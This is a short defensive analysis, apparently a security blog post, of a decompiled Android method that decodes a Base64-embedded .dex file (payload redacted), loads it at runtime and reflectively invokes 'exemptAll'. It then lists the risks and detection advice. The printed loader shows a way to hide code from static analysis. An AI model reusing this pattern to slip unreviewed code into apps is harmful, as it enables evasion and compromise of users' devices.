Introduction

In the course of analyzing a decompiled Java application, we encountered an unusual code segment that decodes a Base64 encoded .dex file, loads it dynamically, and invokes methods from it. This practice is often associated with malicious activities such as code injection, runtime manipulation, and delivery of payloads without being detected during static analysis.

Code Analysis

The following Java code snippet outlines the suspicious behavior:

public final void attachBaseContext(Context context) {
    boolean z;
    Method method;
    super.attachBaseContext(context);
    String[] strArr = {"L"};
    Object obj = BootstrapClass.f2044Wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww;
    if (obj == null || (method = BootstrapClass.f2043Wwwwwwwwwwwwwwwwwwwwwwwwwwwwwww) == null) {
        z = false;
    } else {
        z = true;
        try {
            method.invoke(obj, strArr);
        } catch (Throwable unused) {
        }
    }
    if (z) {
        return;
    }
    byte[] bArrDecode = Base64.decode("ZGV4CjAzNQCl4EprGS2pXI...REDACTED...", 2); // Base64 encoded
    try {
        File file = new File(context.getCodeCacheDir(), System.currentTimeMillis() + ".dex");
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        try {
            fileOutputStream.write(bArrDecode);
            fileOutputStream.close();
            ((Boolean) new DexFile(file).loadClass(BootstrapClass.class.getCanonicalName(), null).getDeclaredMethod("exemptAll", new Class[0]).invoke(null, new Object[0])).booleanValue();
        } finally {
        }
    } catch (Throwable th) {
        th.printStackTrace();
    }
}

Key Points:

  1. Base64 Decoding: A .dex file is decoded from a Base64 string.
  2. Dynamic Loading: The .dex file is written to the application’s code cache and loaded dynamically using DexFile.
  3. Method Invocation: A method named exemptAll is invoked on the loaded class.

Security Implications

  1. Code Injection: Dynamic loading of external code allows attackers to inject malicious payloads into the application at runtime.
  2. Evasion of Detection: Since the code is not present in the original APK, static analysis tools may miss this behavior.
  3. Privilege Escalation: Malicious code can exploit system permissions and functionalities available to the compromised application.
  4. Data Theft and Manipulation: Attackers can use the injected code to exfiltrate sensitive data or manipulate app behavior.

Recommendations

  1. Static Analysis Enhancements: Use advanced static analysis tools that can detect Base64 encoded payloads and dynamic loading techniques.
  2. Runtime Monitoring: Implement runtime monitoring to detect unusual behaviors such as unexpected file writes, dynamic class loading, and method invocations.

Conclusion

The identified behavior is indicative of a potential security threat. Continuous monitoring and adherence to best practices are crucial in safeguarding against emerging threats in the dynamic landscape of mobile app development.